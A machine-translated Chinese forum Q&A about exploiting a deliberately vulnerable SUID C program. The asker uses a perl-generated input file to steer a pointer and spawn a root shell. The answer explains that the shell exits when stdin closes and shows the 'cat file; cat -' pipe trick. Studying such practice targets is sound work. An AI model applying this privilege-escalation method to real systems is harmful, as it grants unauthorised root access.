C - GDB 退出而不是生成外壳



我正在尝试利用SUID程序。

该程序是:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
void print(unsigned char *buf, int len)
{
    int i;
    printf("[ ");
    for(i=0; i < len; i++) printf("%x ", buf[i]); 
    printf(" ]n");
}
int main()
{
    unsigned char buf[512];
    unsigned char *ptr = buf + (sizeof(buf)/2);
    unsigned int x;
    while((x = getchar()) != EOF) {
            switch(x) {
                    case 'n': print(buf, sizeof(buf)); continue; break;
                    case '\': ptr--; break; 
                    default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
            }
    }
    printf("All donen");
}

我们可以很容易地看到,如果我们以某种方式将 ptr 的内容更改为某个以 CA 开头的地址,那么将为我们生成一个新的 shell。由于 ptr 通常包含一些以 FF 开头的地址,因此减少它 (ptr) 的方法是输入 \ 字符。所以我用0x35000000'\'字符制作了一个文件,最后在文件末尾有3个'a'

perl -e "print '\'x889192448" > file     # decimal equivalent of 0x35000000
echo aaa > file        # So that e() is called which actually spawns the shell

最后在 gdb 中,

run < file

然而,与其生成外壳 gdb 说

process <some number> is executing new program /bin/dash
inferior 1 exited normally

然后回到 gdb 提示符而不是获取 shell。我已经通过在适当的位置设置断点来确认 ptr 确实在调用 setresuid() 之前以 CA 开头。

此外,如果我在 gdb 之外通过管道传输它,则没有任何反应。

./vulnProg < file

砰提示符返回。

请告诉我我哪里犯了错误。

您可以通过编译更简单的测试程序来查看问题

int main()  { execlp("/bin/sed", "-e", "s/^/XXX:/", NULL); }

所有这些所做的只是启动一个版本的sed(而不是shell),并通过在前面加上"XXX:"来转换输入。

如果您运行生成的程序,并在终端中键入,您将获得如下行为:

$./a.out 
Hello
XXX:Hello
Test
XXX:Test
^D

这完全符合我们的预期。

现在,如果您从包含"HelloWorld"的文件输入它,您将获得

$./a.out < file 
XXX:Hello
XXX:World
$

应用程序立即退出,当输入文件全部读取后,应用程序的输入流将关闭。

如果要提供其他输入,则需要使用技巧来不中断输入流。

{ cat file ; cat - ; } | ./a.out

这会将文件中的所有输入放入正在运行的./a.out中,然后阅读 stdin 并添加它。

$ { cat file ; cat - ; } | ./a.out
XXX:Hello
XXX:World
This is a Test
XXX:This is a Test

相关内容

  • 没有找到相关文章

最新更新